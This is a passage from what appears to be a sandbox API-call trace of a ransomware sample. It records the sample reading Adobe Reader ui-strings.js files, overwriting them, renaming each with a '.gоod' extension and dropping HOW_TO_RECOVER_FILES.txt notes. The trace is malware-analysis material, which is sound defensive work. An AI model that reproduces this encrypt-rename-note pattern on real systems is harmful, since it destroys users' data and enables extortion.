ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.916] FindClose (in: hFindFile=0x134b040 | out: hFindFile=0x134b040) returned 1 [0221.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0221.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0221.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0221.917] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk", lpFilePart=0x0) returned 0x77 [0221.917] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0221.917] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.917] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x76e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0221.917] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x76e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0221.917] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0221.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0221.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0221.918] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0221.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0221.918] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x37658a8 | out: lpFileInformation=0x37658a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x76e)) returned 1 [0221.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0221.918] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0221.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0221.918] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0221.918] GetFileType (hFile=0x834) returned 0x1 [0221.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0221.918] GetFileType (hFile=0x834) returned 0x1 [0221.918] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x76e [0221.918] ReadFile (in: hFile=0x834, lpBuffer=0x37663c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x37663c0*, lpNumberOfBytesRead=0x203eb258*=0x76e, lpOverlapped=0x0) returned 1 [0221.921] CloseHandle (hObject=0x834) returned 1 [0221.946] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0221.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0221.946] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0221.947] GetFileType (hFile=0x834) returned 0x1 [0221.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0221.947] GetFileType (hFile=0x834) returned 0x1 [0221.947] WriteFile (in: hFile=0x834, lpBuffer=0x37e11f0*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x37e11f0*, lpNumberOfBytesWritten=0x203eb168*=0x770, lpOverlapped=0x0) returned 1 [0221.948] CloseHandle (hObject=0x834) returned 1 [0221.948] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0221.948] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0221.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0221.948] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x80823743, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x770)) returned 1 [0221.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0221.948] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\ui-strings.js.gоod")) returned 1 [0221.949] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0221.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0221.949] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0221.950] GetFileType (hFile=0x834) returned 0x1 [0221.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0221.950] GetFileType (hFile=0x834) returned 0x1 [0221.950] WriteFile (in: hFile=0x834, lpBuffer=0x37e5680*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x37e5680*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0221.951] CloseHandle (hObject=0x834) returned 1 [0221.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0221.951] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si", lpFilePart=0x0) returned 0x77 [0221.951] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a6e0 [0221.952] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.952] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0221.952] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.952] FindClose (in: hFindFile=0x134a6e0 | out: hFindFile=0x134a6e0) returned 1 [0221.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0221.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0221.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0221.952] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si", lpFilePart=0x0) returned 0x77 [0221.952] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0221.953] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.953] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0221.953] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0221.953] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0221.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0221.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0221.953] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0221.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0221.953] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x37f5558 | out: lpFileInformation=0x37f5558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71a)) returned 1 [0221.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0221.953] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0221.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0221.954] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0221.954] GetFileType (hFile=0x834) returned 0x1 [0221.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0221.954] GetFileType (hFile=0x834) returned 0x1 [0221.954] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x71a [0221.954] ReadFile (in: hFile=0x834, lpBuffer=0x37f6020, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x203eb258*=0x71a, lpOverlapped=0x0) returned 1 [0222.122] CloseHandle (hObject=0x834) returned 1 [0222.196] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0222.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0222.196] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0222.197] GetFileType (hFile=0x834) returned 0x1 [0222.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0222.197] GetFileType (hFile=0x834) returned 0x1 [0222.197] WriteFile (in: hFile=0x834, lpBuffer=0x3821318*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x3821318*, lpNumberOfBytesWritten=0x203eb168*=0x720, lpOverlapped=0x0) returned 1 [0222.198] CloseHandle (hObject=0x834) returned 1 [0222.199] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0222.199] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0222.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0222.199] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x80a85cee, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x720)) returned 1 [0222.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0222.199] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\ui-strings.js.gоod")) returned 1 [0222.200] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0222.200] SetThreadErrorMode (dwNewMode=0x1, 